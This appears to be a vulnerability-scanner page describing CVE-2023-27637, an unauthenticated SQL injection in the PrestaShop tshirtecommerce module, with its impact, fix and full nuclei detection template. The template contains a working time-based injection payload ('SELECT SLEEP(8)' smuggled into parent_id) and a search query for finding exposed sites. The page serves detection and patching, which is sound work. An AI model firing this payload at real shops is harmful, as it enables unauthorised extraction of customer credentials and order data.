PrestaShop `tshirtecommerce` Module - SQL Injection

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.

Impact

Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.

Fix

Update the tshirtecommerce module to the latest version and apply all security patches.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200 and contains(tolower(body), 'product not found')

Run it with nuclei: nuclei -id CVE-2023-27637 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-27637

info:
  name: PrestaShop `tshirtecommerce` Module - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.
  remediation: |
    Update the tshirtecommerce module to the latest version and apply all security patches.
  reference:
    - https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27637
    - https://codecanyon.net/item/prestashop-custom-product-designer/19202018
    - https://tshirtecommerce.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27637
    cwe-id: CWE-89
    epss-score: 0.03299
    epss-percentile: 0.88617
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    fofa-query: body="Prestashop" && body="tshirtecommerce"
  tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=8"
          - "status_code == 200"
          - "contains(tolower(body), 'product not found')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from